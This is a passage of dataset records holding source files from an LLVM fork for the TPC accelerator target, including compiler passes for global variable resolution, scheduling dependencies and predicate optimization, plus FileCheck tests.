0.5733333230018616, "alphanum_fraction": 0.578181803226471, "avg_line_length": 30.730770111083984, "blob_id": "f9e1e473006f05feb25680a7602213c7d7de94c0", "content_id": "b83f89e6f2923811b42b504bd0f4105d24693b38", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 825, "license_type": "permissive", "max_line_length": 80, "num_lines": 26, "path": "/llvm/include/llvm/Transforms/Scalar/CoordUpdateSimplifyPass.h", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//====------------------------ CoordUpdateSimplifyPass.h ------------------===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n//\n//===----------------------------------------------------------------------===//\n\n#ifndef LLVM_TRANSFORMS_SCALAR_COORDUPDATESIMPLIFYPASS_H\n#define LLVM_TRANSFORMS_SCALAR_COORDUPDATESIMPLIFYPASS_H\n\n#include \"llvm/Analysis/LoopAnalysisManager.h\"\n#include \"llvm/IR/PassManager.h\"\n\nnamespace llvm {\n\nclass CoordUpdateSimplifyPass : PassInfoMixin<CoordUpdateSimplifyPass> {\npublic:\n explicit CoordUpdateSimplifyPass() {}\n};\n\n} // end namespace llvm\n\n#endif\n" }, { "alpha_fraction": 0.597122311592102, "alphanum_fraction": 0.6618704795837402, "avg_line_length": 30, "blob_id": "d23398341950fd6f37096645fd1f6178e4401b8b", "content_id": "c744f8e910ae147d0de8a12d31537e8d249ab87c", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 278, "license_type": "permissive", "max_line_length": 117, "num_lines": 9, "path": "/clang/test/RC99/localizer/resolver-12.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: not %clang_cc1 -triple tpc-none-none -std=rc99 -S -O1 %s -o - 2>&1 | FileCheck %s \n\nint gval[257];\n\nvoid main(int x) {\n *(int __local *)x = gval[0];\n}\n\n// CHECK: too much scalar memory is used for statically allocated data: 1028 is allocated, but only 1024 is available" }, { "alpha_fraction": 0.4900776445865631, "alphanum_fraction": 0.5789473652839661, "avg_line_length": 45.36000061035156, "blob_id": "45dd9eeae36601c0a90560e52a48696aed3b1490", "content_id": "369d6c4ae70bcc3d57c005615bd2798c162ea573", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1159, "license_type": "permissive", "max_line_length": 133, "num_lines": 25, "path": "/clang/test/RC99/IntrinsicsM/extract_exp-vi-01.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 %s -o - | FileCheck %s\n// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 -bfloat16 -target-cpu gaudi %s -o - | FileCheck --check-prefix=CHECK-GAUDI %s\n\n\nvoid main(int dest, _Bool pred) {\n int64 __local *res_ptr = (int64 __local *)dest;\n\n *res_ptr++ = v_f32_extract_exp_s(0.8, 1);\n // CHECK-DAG: extract_exp.f32 subtract_bias %V{{[0-9]+}}, 0x3f4ccccd, %SP0\n // CHECK-GAUDI-DAG: extract_exp.f32 biased %V{{[0-9]+}}, 0x3f4ccccd, %SP0\n\n *res_ptr++ = v_f32_extract_exp_s(0.8, 0);\n // CHECK-DAG: extract_exp.f32 %V{{[0-9]+}}, 0x3f4ccccd, %SP0\n // CHECK-GAUDI-DAG: extract_exp.f32 %V{{[0-9]+}}, 0x3f4ccccd, %SP0\n\n int res = 0;\n\n *res_ptr++ = v_f32_extract_exp_s_b(0.8, res, 1, pred, 0);\n // CHECK-DAG: extract_exp.f32 subtract_bias %V{{[0-9]+}}, 0x3f4ccccd, %SP{{[0-9]+}}\n // CHECK-GAUDI-DAG: extract_exp.f32 biased %V{{[0-9]+}}, 0x3f4ccccd, %SP{{[0-9]+}}\n\n *res_ptr++ = v_f32_extract_exp_s_b(0.8, res, 0, pred, 0);\n // CHECK-DAG: extract_exp.f32 %V{{[0-9]+}}, 0x3f4ccccd, %SP{{[0-9]+}}\n // CHECK-GAUDI-DAG: extract_exp.f32 %V{{[0-9]+}}, 0x3f4ccccd, %SP{{[0-9]+}}\n}\n" }, { "alpha_fraction": 0.5835098624229431, "alphanum_fraction": 0.5897018313407898, "avg_line_length": 32.90607833862305, "blob_id": "639a7bcca4f71b257d159c2e9e1342d476997983", "content_id": "5072c7f7e255fe664ad2c49671b37a18d87186ea", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 6137, "license_type": "permissive", "max_line_length": 94, "num_lines": 181, "path": "/llvm/lib/Target/TPC/GlobalResolver.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===- GlobalResolver.cpp - makes Global Variables Locals ---- ------------===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n//\n// This pass transforms global variables into constant addresses.\n//\n//===----------------------------------------------------------------------===//\n#include <iostream>\n#include \"TPCTargetMachine.h\"\n#include \"TPCTools.h\"\n#include \"llvm/IR/Constants.h\"\n#include \"llvm/IR/Dominators.h\"\n#include \"llvm/IR/Instructions.h\"\n#include \"llvm/IR/IRBuilder.h\"\n#include \"llvm/IR/DebugInfoMetadata.h\"\n#include \"llvm/Pass.h\"\n#include \"llvm/IR/Attributes.h\"\n#include \"llvm/Target/TPCKernelInfo.h\"\nusing namespace llvm;\n\n\nstatic bool mustBeResolved(const GlobalVariable &V) {\n if (V.getName().startswith(\"llvm.\"))\n return false;\n#ifdef LLVM_TPC_COMPILER\n else if (V.getSection().equals(\".source\"))\n return false;\n else if (V.getSection().equals(KernelInfoSectionName))\n return false;\n else if (V.getSection().equals(\".tpc_compiler\"))\n return false;\n#endif\n else\n return true;\n}\n\n\nnamespace {\nstruct GlobalResolver : public ModulePass {\n static char ID; // Pass identification, replacement for typeid\n\n GlobalResolver() : ModulePass(ID) {}\n\n bool runOnModule(Module &M) override {\n const int ScalarAddrSpace = 1;\n const int VectorAddrSpace = 2;\n\n if (skipModule(M))\n return false;\n\n auto &DL = M.getDataLayout();\n LLVMContext &C = M.getContext();\n bool Changed = false;\n\n // Find main function.\n Function *MainFunc = nullptr;\n for (Function &F : M) {\n if (!F.isDeclaration()) {\n assert(MainFunc == 0 && \"More than one entry points\");\n MainFunc = &F;\n }\n }\n assert(MainFunc && \"No functions in module\");\n\n // Scan globals.\n IRBuilder<> InitBuilder(&MainFunc->getEntryBlock().front());\n SmallVector<GlobalVariable *, 32> RemovedVariables;\n unsigned ScalarAddress = 0;\n\n unsigned VectorAddress = 0;\n ValueReplacer Replacer;\n for (GlobalVariable &GV : M.globals()) {\n if (mustBeResolved(GV)) {\n if (!GV.use_empty()) {\n PointerType *Ty = GV.getType();\n bool IsVectorAddrSpace = isTpcVectorType(Ty->getElementType());\n uint64_t Sz = DL.getTypeAllocSize(Ty->getElementType());\n uint64_t Addr;\n if (!IsVectorAddrSpace) {\n Addr = ScalarAddress;\n if (Sz > 0 && Sz < 4) {\n Sz = 4;\n } \n ScalarAddress += Sz;\n Ty = PointerType::get(Ty->getElementType(), ScalarAddrSpace);\n } else {\n Addr = VectorAddress;\n VectorAddress += Sz;\n Ty = PointerType::get(Ty->getElementType(), VectorAddrSpace);\n }\n ConstantInt *AddrVal = ConstantInt::get(Type::getInt32Ty(C), Addr);\n auto PtrRef = ConstantExpr::getIntToPtr(AddrVal, Ty);\n // Replace reference to the global variable with constant expression,\n // that represents address of the variable in respective address\n // space.\n Replacer.replace(&GV, PtrRef);\n\n if (!IsVectorAddrSpace) {\n GV.setSection(\".sldata\");\n GV.setLinkage(GlobalValue::LinkageTypes::ExternalLinkage);\n } else {\n GV.setSection(\".vldata\");\n GV.setLinkage(GlobalValue::LinkageTypes::ExternalLinkage);\n }\n\n if (GV.hasInitializer()) {\n Constant *Init = GV.getInitializer();\n if (!isa<UndefValue>(Init))\n InitBuilder.CreateStore(Init, PtrRef, isVolatileVariable(GV));\n GV.setInitializer(nullptr);\n }\n // adding address as DIExpression\n SmallVector<std::pair<unsigned, MDNode *>, 4> MDs;\n GV.getAllMetadata(MDs);\n for (auto Attachment : MDs) {\n MDNode * scn = Attachment.second;\n int nop = scn->getNumOperands();\n DIGlobalVariable* dgv = dyn_cast_or_null<DIGlobalVariable>(scn->getOperand(0));\n if (dgv && nop == 2) {\n DIExpression* die = cast<DIExpression>(scn->getOperand(1));\n DIExpression* novodie;\n if (GV.hasAttribute(Attribute::Builtin)) { //Globalized local, need another expr\n SmallVector<uint64_t, 3> Ops = { dwarf::DW_OP_TPC_glob_adress, Addr,\n GV.getType()->getAddressSpace()};\n novodie = DIExpression::append(die, Ops);\n }\n else {\n SmallVector<uint64_t, 2> Ops = { dwarf::DW_OP_constu, Addr};\n novodie = DIExpression::append(die, Ops);\n }\n scn->replaceOperandWith(1, novodie);\n }\n }\n\n } else {\n RemovedVariables.push_back(&GV);\n }\n\n // RemovedVariables.push_back(&GV);\n }\n }\n\n // Remove resolved globals.\n for (GlobalVariable *V : RemovedVariables) {\n V->eraseFromParent();\n Changed = true;\n }\n\n // Store sizes of local memories in the module.\n NamedMDNode *SizeMD = M.getOrInsertNamedMetadata(\"llvm.tpc.scalar_data\");\n assert(SizeMD->getNumOperands() == 0 && \"Already set?\");\n Constant *Sz = ConstantInt::get(Type::getInt32Ty(C), ScalarAddress);\n MDNode *N = MDNode::get(C, ConstantAsMetadata::get(Sz));\n SizeMD->addOperand(N);\n\n SizeMD = M.getOrInsertNamedMetadata(\"llvm.tpc.vector_data\");\n assert(SizeMD->getNumOperands() == 0 && \"Already set?\");\n Sz = ConstantInt::get(Type::getInt32Ty(C), VectorAddress);\n N = MDNode::get(C, ConstantAsMetadata::get(Sz));\n SizeMD->addOperand(N);\n\n return Changed;\n }\n\n StringRef getPassName() const override {\n return \"Global Variable Resolver\";\n }\n};\n}\n\nchar GlobalResolver::ID = 0;\nINITIALIZE_PASS(GlobalResolver, \"glbresolver\",\n \"Global Variables Resolver\", false, false)\n\n ModulePass *llvm::createGlobalResolver() {\n return new GlobalResolver();\n}\n" }, { "alpha_fraction": 0.5736681818962097, "alphanum_fraction": 0.5795378684997559, "avg_line_length": 28.258695602416992, "blob_id": "5fdb8206aec5909128e98c8576064e7e00a85ae0", "content_id": "879ad3b64bc0627e02fcb023d98e8b495e215196", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 13459, "license_type": "permissive", "max_line_length": 111, "num_lines": 460, "path": "/llvm/lib/Target/TPC/TPCSubtarget.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===---- TPCSubtarget.cpp ------------------------------------------------------- -===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===-------------------------------------------------------------------------------===//\n//\n//===-------------------------------------------------------------------------------===//\n#include \"TPC.h\"\n#include \"TPCSubtarget.h\"\n#include \"TPCTargetMachine.h\"\n#include \"TPCMachineScheduler.h\"\n#include \"llvm/Support/TargetRegistry.h\"\n#include \"llvm/CodeGen/ScheduleDAG.h\"\n#include \"llvm/CodeGen/ScheduleDAGInstrs.h\"\n\n\nusing namespace llvm;\n\n#define DEBUG_TYPE \"tpc-subtarget\"\n#define GET_SUBTARGETINFO_TARGET_DESC\n#define GET_SUBTARGETINFO_CTOR\n#include \"TPCGenSubtargetInfo.inc\"\n\nstatic cl::opt<bool> EnableSubRegLiveness(\"tpc-enable-subreg-liveness\",\n cl::init(true), cl::Hidden);\n\n//---------------------------------------------------------------------------//\n\n// TODO: Other architectures do initalizeSubtargetDependencies for InstrInfo.\n// But we have only one subtarget, so probably don't need to do this\n\nTPCSubtarget::TPCSubtarget(\n const Triple &TT,\n const std::string &CPU,\n const std::string &FS,\n const TargetMachine &TM)\n : TPCGenSubtargetInfo(TT, CPU, FS), InstrInfo(*this), TLInfo(TM, *this) {\n\n ParseSubtargetFeatures(CPU, FS);\n\n // Initialize scheduling itinerary for the specified CPU.\n InstrItins = getInstrItineraryForCPU(CPU);\n}\n\nstatic bool isGEN_ADDR(SUnit * SU) {\n unsigned opc = SU->getInstr()->getOpcode();\n return (opc == TPC::GEN_ADDR_ld || opc == TPC::GEN_ADDR_st);\n}\n\nstatic bool isST_TNSR(SUnit * SU) {\n MachineInstr * MI = SU->getInstr();\n if (!MI) return false;\n const MCInstrDesc &MC = MI->getDesc();\n if (TPCII::isStoreInst(MC)) {\n unsigned opc = TPCII::getSlotOpCode(MC);\n if (opc == 11 || opc == 12 || opc == 13) { // TODO: use mnemonic names for opcodes\n return true;\n }\n }\n return false;\n}\n\nstatic bool isLD_TNSR(SUnit * SU) {\n MachineInstr * MI = SU->getInstr();\n if (!MI) return false;\n const MCInstrDesc &MC = MI->getDesc();\n if (TPCII::isLoadInst(MC)) {\n unsigned opc = TPCII::getSlotOpCode(MC);\n if (opc == 17 || opc == 18 || opc == 19) { // TODO: use mnemonic names for opcodes\n return true;\n }\n }\n return false;\n}\n\nstatic bool isMMIO_ST(SUnit * SU) {\n assert(SU->getInstr() && \"Must be a instruction\");\n const MCInstrDesc &MC = SU->getInstr()->getDesc();\n\n if (!TPCII::isStoreInst(MC) || (TPCII::getSlotOpCode(MC) != TPCII::ST_L)) {\n return false;\n }\n\n int mmio = 0;\n if (SU->getInstr()->getNumOperands() < 3) {\n return false;\n }\n if (SU->getInstr()->getOperand(2).isImm()) {\n mmio = SU->getInstr()->getOperand(2).getImm();\n }\n return mmio;\n}\n\n#define ROUND_CSR 0x8FC\n#define CONV_ROUND_CSR 0x7F8\n\nstatic bool MaybeWriteToCSR(SUnit * SU, unsigned CSR) {\n if (!isMMIO_ST(SU)) {\n return false;\n }\n if (SU->getInstr()->getOperand(0).isImm()) {\n unsigned imm = SU->getInstr()->getOperand(0).getImm();\n if (imm != CSR) {\n return false;\n }\n }\n // Conservatively assume writing to specified MMIO.\n return true;\n}\n\nstatic bool IsRoundCSRConsumer(SUnit * SU) {\n const MachineInstr *MI = SU->getInstr();\n assert(MI && \"Must be a instruction\");\n unsigned SlotOpcode = TPCII::getSlotOpCode(MI->getDesc());\n\n if ((TPCII::isSPUInst(MI->getDesc()) &&\n (SlotOpcode == TPCII::spuADD ||\n SlotOpcode == TPCII::spuMAC ||\n SlotOpcode == TPCII::spuMUL ||\n SlotOpcode == TPCII::spuSUB)) ||\n (TPCII::isVPUInst(MI->getDesc()) &&\n (SlotOpcode == TPCII::vpuADD ||\n SlotOpcode == TPCII::vpuMAC ||\n SlotOpcode == TPCII::vpuMADD ||\n SlotOpcode == TPCII::vpuMUL ||\n SlotOpcode == TPCII::vpuSUB))) {\n TPCII::OpType Type = getOpType(*MI);\n switch (Type) {\n case TPCII::OpType::FP32:\n case TPCII::OpType::BF16:\n return true;\n default:\n return false;\n }\n }\n\n return false;\n}\n\nstatic bool IsConvertRoundCSRConsumer(SUnit * SU) {\n assert(SU->getInstr() && \"Must be a instruction\");\n const MCInstrDesc &Desc = SU->getInstr()->getDesc();\n unsigned SlotOpcode = TPCII::getSlotOpCode(Desc);\n\n if ((TPCII::isSPUInst(Desc) &&\n (SlotOpcode == TPCII::spuCONVERT ||\n SlotOpcode == TPCII::spuNEARBYINT)) ||\n (TPCII::isVPUInst(Desc) &&\n (SlotOpcode == TPCII::vpuCONVERT ||\n SlotOpcode == TPCII::vpuNEARBYINT))) {\n unsigned Switch = SU->getInstr()->getOperand(\n Desc.getNumOperands() - 4).getImm();\n\n unsigned RoundMode = Switch & TPCII::SW_GROUP_RM;\n return RoundMode == TPCII::SW_CSR;\n }\n\n return false;\n}\n\n#ifndef NDEBUG\nstatic void dumpSU(ScheduleDAGInstrs *DAG, SUnit * SU) {\n if (SU->getInstr() != nullptr)\n DAG->dumpNode(*SU);\n else\n DAG->dumpNodeName(*SU);\n}\n#endif\n\nstatic bool hasDataDep(SUnit * PSU, SUnit * SU) {\n for (auto &D : SU->Preds) {\n if (D.getKind() == SDep::Data && D.getSUnit() == PSU) {\n return true;\n }\n }\n return false;\n}\n\n#if 0\nstatic bool canRemoveOrderDep(SUnit * SU1, SUnit * SU2) {\n // There should be no order dependences between LD_TNSR and ST_TNSR instructions\n // \n if ((isLD_TNSR(SU1) && isLD_TNSR(SU2)) ||\n (isLD_TNSR(SU1) && isST_TNSR(SU2)) ||\n (isLD_TNSR(SU2) && isST_TNSR(SU1))\n ) {\n return true;\n }\n\n // There should be no order dependences between GEN_ADDR and other instructions.\n // \n if ((isGEN_ADDR(SU1) && isGEN_ADDR(SU2))) {\n return true;\n }\n\n return false;\n}\n#endif\n\nstatic void propagateDataDep(ScheduleDAGInstrs *DAG, SUnit * SU, SUnit * PSU, SmallVector<SDep, 4> * NewDeps) {\n for (auto &D : SU->Succs) {\n if (D.getKind() == SDep::Data && !hasDataDep(PSU, D.getSUnit())) {\n SDep newDep(PSU, SDep::Barrier);\n D.getSUnit()->addPred(newDep);\n LLVM_DEBUG(dbgs() << \" - Add Data dep:\\n\");\n LLVM_DEBUG(dumpSU(DAG, PSU));\n LLVM_DEBUG(dumpSU(DAG, D.getSUnit()));\n }\n }\n for (auto &D : PSU->Preds) {\n if (D.getKind() == SDep::Data && !hasDataDep(D.getSUnit(), SU)) {\n SDep newDep(D.getSUnit(), SDep::Barrier);\n NewDeps->push_back(newDep);\n LLVM_DEBUG(dbgs() << \" - Add Data dep:\\n\");\n LLVM_DEBUG(dumpSU(DAG, D.getSUnit()));\n LLVM_DEBUG(dumpSU(DAG, SU));\n }\n }\n}\n\nvoid TPCSubtarget::TPCDAGMutation::apply(ScheduleDAGInstrs *DAG) {\n const TPCSubtarget &Subtarget = DAG->MF.getSubtarget<TPCSubtarget>();\n LLVM_DEBUG(dbgs() << \"*** Applying TPC DAG Mutation\\n\");\n const TPCInstrInfo *TII = Subtarget.getInstrInfo();\n unsigned DefMsk = 0;\n unsigned UseMsk = 0;\n\n for (auto &SU : DAG->SUnits) {\n if (!SU.isInstr())\n continue;\n\n //LLVM_DEBUG(dumpSU(DAG, &SU));\n\n SmallVector<SDep, 4> NewDeps;\n NewDeps.clear();\n\n SmallVector<SDep, 4> Erase;\n\n //\n // Process predecessor dependences\n //\n for (auto &D : SU.Preds) {\n if (D.getKind() == SDep::Data &&\n isSET_INDX(SU.getInstr()->getOpcode()) &&\n isSET_INDX(D.getSUnit()->getInstr()->getOpcode()))\n {\n if (SU.getInstr()->getOperand(0).getReg() == D.getSUnit()->getInstr()->getOperand(1).getReg()) {\n LLVM_DEBUG(dbgs() << \"- Removing Data Dep between SET_INDX:\\n\");\n LLVM_DEBUG(dumpSU(DAG, D.getSUnit()));\n LLVM_DEBUG(dumpSU(DAG, &SU));\n propagateDataDep(DAG, &SU, D.getSUnit(), &NewDeps);\n Erase.push_back(D);\n }\n }\n\n if (D.getKind() == SDep::Output &&\n TII->isIRFProducerWithDimMask(*(SU.getInstr()), DefMsk) &&\n TII->isIRFProducerWithDimMask(*(D.getSUnit()->getInstr()), UseMsk)) {\n if (0 == (DefMsk & UseMsk)) {\n LLVM_DEBUG(dbgs() << \"- Set zero latency for IRF writing different lanes: \\n\");\n LLVM_DEBUG(dumpSU(DAG, D.getSUnit()));\n LLVM_DEBUG(dumpSU(DAG, &SU));\n D.setLatency(0);\n SU.setHeightDirty();\n\n // Change the dependence in the opposite direction too.\n for (SDep &SI : D.getSUnit()->Succs) {\n if (SI.getSUnit() != &SU || SI.getKind() != SDep::Output)\n continue;\n SI.setLatency(0);\n D.getSUnit()->setDepthDirty();\n }\n }\n }\n\n // ** MOV_DUAL_GROUP **\n unsigned DefDstG = 0;\n unsigned UseDstG = 0;\n unsigned DefSrcG = 0;\n unsigned UseSrcG = 0;\n if ((D.getKind() == SDep::Output) &&\n TII->isMovDualGroup(*(SU.getInstr()), &DefSrcG, &DefDstG) &&\n TII->isMovDualGroup(*(D.getSUnit()->getInstr()), &UseSrcG, &UseDstG) &&\n SU.getInstr()->getOperand(0).isIdenticalTo(D.getSUnit()->getInstr()->getOperand(0)))\n {\n if (DefDstG != UseDstG) {\n LLVM_DEBUG(dbgs() << \"- Set zero latency for MOV_DUAL_GROUP writing different lanes: \\n\");\n LLVM_DEBUG(dumpSU(DAG, D.getSUnit()));\n LLVM_DEBUG(dumpSU(DAG, &SU));\n D.setLatency(0);\n SU.setHeightDirty();\n\n // Change the dependence in the opposite direction too.\n for (SDep &SI : D.getSUnit()->Succs) {\n if (SI.getSUnit() != &SU || SI.getKind() != SDep::Output)\n continue;\n SI.setLatency(0);\n D.getSUnit()->setDepthDirty();\n }\n }\n }\n\n#if 0\n //\n // We do not care about order deps between LD_TNSR/ST_TNSR - these instrs can be safely re-ordered.\n // The only deps we should care about is dependences between LD_TNSR/ST_TNSR and *real* LD/ST\n // as the latter may change the tensor (this is done in the code below, which sets up dependences\n // between MMIO changes and tensor access instructions).\n // TODO: remove the 'if' code below when intrinsics are re-generated so that LD_TNSR/ST_TNSR/GEN_ADDR\n // are not marked 'mayLoad'.\n //\n if (D.getKind() == SDep::Order) {\n if (canRemoveOrderDep(&SU, D.getSUnit())) {\n LLVM_DEBUG(dbgs() << \"- Removing Order Dep:\\n\");\n LLVM_DEBUG(dumpSU(DAG, D.getSUnit()));\n LLVM_DEBUG(dumpSU(DAG, &SU));\n Erase.push_back(D);\n }\n }\n#endif\n }\n\n for (SDep &E : Erase) {\n SU.removePred(E);\n }\n\n for (auto &D : NewDeps) {\n SU.addPred(D);\n }\n }\n\n //\n // Set up dependences between MMIO changes and tensor access instructions\n //\n SmallVector<SUnit*, 4> StMMIO;\n SmallVector<SUnit*, 4> TnsrUse;\n for (auto &SU : DAG->SUnits) {\n if (!SU.isInstr())\n continue;\n\n if (isMMIO_ST(&SU)) {\n StMMIO.push_back(&SU);\n }\n if (isGEN_ADDR(&SU) || isST_TNSR(&SU) || isLD_TNSR(&SU)) {\n TnsrUse.push_back(&SU);\n }\n }\n for (SUnit *MSU : StMMIO) {\n for (SUnit *TSU : TnsrUse) {\n SUnit *pred;\n SUnit *succ;\n if (MSU->NodeNum > TSU->NodeNum) {\n pred = TSU;\n succ = MSU;\n }\n else {\n pred = MSU;\n succ = TSU;\n }\n SDep newDep(pred, SDep::Barrier);\n newDep.setLatency(0);\n succ->addPred(newDep);\n succ->setHeightDirty();\n LLVM_DEBUG(dbgs() << \"- Add MMIO barrier:\\n\");\n LLVM_DEBUG(dumpSU(DAG, pred));\n LLVM_DEBUG(dumpSU(DAG, succ));\n }\n }\n\n //\n // Set up dependences between MMIO changes and CONV_ROUND_CSR\n //\n SmallVector<SUnit *, 4> RoundCSRDef;\n SmallVector<SUnit *, 4> ConvRoundCSRDef;\n\n SmallVector<SUnit*, 4> RoundCSRUse;\n SmallVector<SUnit*, 4> ConvRoundCSRUse;\n\n for (auto &SU : DAG->SUnits) {\n if (!SU.isInstr())\n continue;\n\n if (MaybeWriteToCSR(&SU, Subtarget.getRoundCSRAddr()))\n RoundCSRDef.push_back(&SU);\n if (MaybeWriteToCSR(&SU, Subtarget.getConvRoundCSRAddr()))\n ConvRoundCSRDef.push_back(&SU);\n\n if (IsRoundCSRConsumer(&SU))\n RoundCSRUse.push_back(&SU);\n if (IsConvertRoundCSRConsumer(&SU))\n ConvRoundCSRUse.push_back(&SU);\n }\n\n for (SUnit *MSU : RoundCSRDef) {\n for (SUnit *TSU : RoundCSRUse) {\n SUnit *pred;\n SUnit *succ;\n if (MSU->NodeNum > TSU->NodeNum) {\n pred = TSU;\n succ = MSU;\n }\n else {\n pred = MSU;\n succ = TSU;\n }\n SDep newDep(pred, SDep::Barrier);\n newDep.setLatency(0);\n succ->addPred(newDep);\n succ->setHeightDirty();\n LLVM_DEBUG(dbgs() << \"- Add ROUND_CSR barrier:\\n\");\n LLVM_DEBUG(dumpSU(DAG, pred));\n LLVM_DEBUG(dumpSU(DAG, succ));\n }\n }\n for (SUnit *MSU : ConvRoundCSRDef) {\n for (SUnit *TSU : ConvRoundCSRUse) {\n SUnit *pred;\n SUnit *succ;\n if (MSU->NodeNum > TSU->NodeNum) {\n pred = TSU;\n succ = MSU;\n }\n else {\n pred = MSU;\n succ = TSU;\n }\n SDep newDep(pred, SDep::Barrier);\n newDep.setLatency(0);\n succ->addPred(newDep);\n succ->setHeightDirty();\n LLVM_DEBUG(dbgs() << \"- Add CONV_ROUND_CSR barrier:\\n\");\n LLVM_DEBUG(dumpSU(DAG, pred));\n LLVM_DEBUG(dumpSU(DAG, succ));\n }\n }\n}\n\nbool TPCSubtarget::enableSubRegLiveness() const {\n return EnableSubRegLiveness;\n}\n\nunsigned TPCSubtarget::getRoundCSRAddr() const {\n if (hasGoyaISA())\n return 0x7FC;\n else if (hasGaudiISA())\n return 0x8FC;\n else\n llvm_unreachable(\"Unknown arch for getRoundCSRAddr\");\n}\n\nunsigned TPCSubtarget::getConvRoundCSRAddr() const {\n if (hasGoyaISA())\n return 0x7FC;\n else if (hasGaudiISA())\n return 0x8FC;\n else\n llvm_unreachable(\"Unknown arch for GetConvRoundCSR\");\n}\n" }, { "alpha_fraction": 0.5586047172546387, "alphanum_fraction": 0.5806864500045776, "avg_line_length": 31.131105422973633, "blob_id": "c21a8d5f735b2f8561d5409dbe88650e2d906bdb", "content_id": "b4624a00514e93831f6c04184718d9d0d0a39d9c", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 12499, "license_type": "permissive", "max_line_length": 99, "num_lines": 389, "path": "/llvm/lib/Target/TPC/TPCPredicateOptimizer.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===---- TPCPredicateOptimizer.cpp --- Optimizes predicates --------------===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n//\n// This pass:\n// - replaces predicates with known value with SP0.\n//\n//===----------------------------------------------------------------------===//\n\n#include \"TPCInstrInfo.h\"\n#include \"TPCSubtarget.h\"\n#include \"llvm/CodeGen/MachineRegisterInfo.h\"\n#include \"llvm/CodeGen/MachineInstrBuilder.h\"\n#include \"MCTargetDesc/TPCMCTargetDesc.h\"\n#include \"MCTargetDesc/TPCMCInstrInfo.h\"\nusing namespace llvm;\n\nnamespace llvm {\nFunctionPass *createTPCPredicateOptimizer();\nvoid initializeTPCPredicateOptimizerPass(PassRegistry&);\n}\n\nstatic const char PassDescription[] = \"TPC predicate optimizer\";\nstatic const char PassName[] = \"tpc-pred\";\n\n// Flag to disable predicate optimization.\nstatic cl::opt<bool>\nEnablePredicateOptimizer(\"optimize-predicates\",\n cl::desc(\"Optimize use of TPC predicates (default=true)\"),\n cl::init(true), cl::Hidden);\n\n\n\nnamespace {\nclass TPCPredicateOptimizer : public MachineFunctionPass {\n MachineFunction *MF = nullptr;\n unsigned NumReplaced = 0;\n unsigned NumRemoved = 0;\n const TargetInstrInfo *TII = nullptr;\n const TargetRegisterInfo *TRI = nullptr;\n MachineRegisterInfo *MRI = nullptr;\n\npublic:\n static char ID;\n\n StringRef getPassName() const override { return PassDescription; }\n\n TPCPredicateOptimizer() : MachineFunctionPass(ID) {\n initializeTPCPredicateOptimizerPass(*PassRegistry::getPassRegistry());\n }\n\n /// \\brief Loop over all of the basic blocks, replacing predicated instructions\n /// by equivalent non-predicated instructions if needed and when possible.\n ///\n bool runOnMachineFunction(MachineFunction &MF) override;\n\n bool isSPRFPredicated(const MachineInstr &I, unsigned &PredRegLoc,\n unsigned &IncomeValue);\n bool isDstFullyWritten(const MachineInstr &I);\n};\n}\n\nchar TPCPredicateOptimizer::ID = 0;\n\nINITIALIZE_PASS(TPCPredicateOptimizer, PassName, PassDescription, false, false)\n\nFunctionPass *llvm::createTPCPredicateOptimizer() {\n return new TPCPredicateOptimizer();\n}\n\n\nbool TPCPredicateOptimizer::isSPRFPredicated(const MachineInstr &I,\n unsigned &PredRegLoc,\n unsigned &IncomeValue) {\n // Instruction is predicated if its last two arguments are of type i1, and the\n // last argument (polarity) is a constant.\n\n const MCInstrDesc &MCD = I.getDesc();\n if (MCD.getNumOperands() <= 2)\n return false;\n\n const MCOperandInfo &PredicateOp = MCD.OpInfo[MCD.getNumOperands() - 2];\n if (PredicateOp.OperandType != TPC::OperandType::OPERAND_PREDICATE)\n return false;\n\n const MCOperandInfo &PolarityOp = MCD.OpInfo[MCD.getNumOperands() - 1];\n if (PolarityOp.OperandType != TPC::OperandType::OPERAND_PREDICATE)\n return false;\n\n if (!I.getOperand(MCD.getNumOperands() - 1).isImm())\n return false;\n\n const MachineOperand &PredOp = I.getOperand(MCD.getNumOperands() - 2);\n if (!PredOp.isReg())\n return false;\n\n Register RegNo = PredOp.getReg();\n const TargetRegisterClass *RC;\n if (RegNo.isVirtual()) {\n RC = MRI->getRegClass(RegNo);\n } else {\n RC = static_cast<const TPCInstrInfo*>(TII)->getClassOfPhysicalRegister(RegNo, *TRI);\n }\n\n if (RC != &TPC::SPRFRegClass)\n return false;\n\n 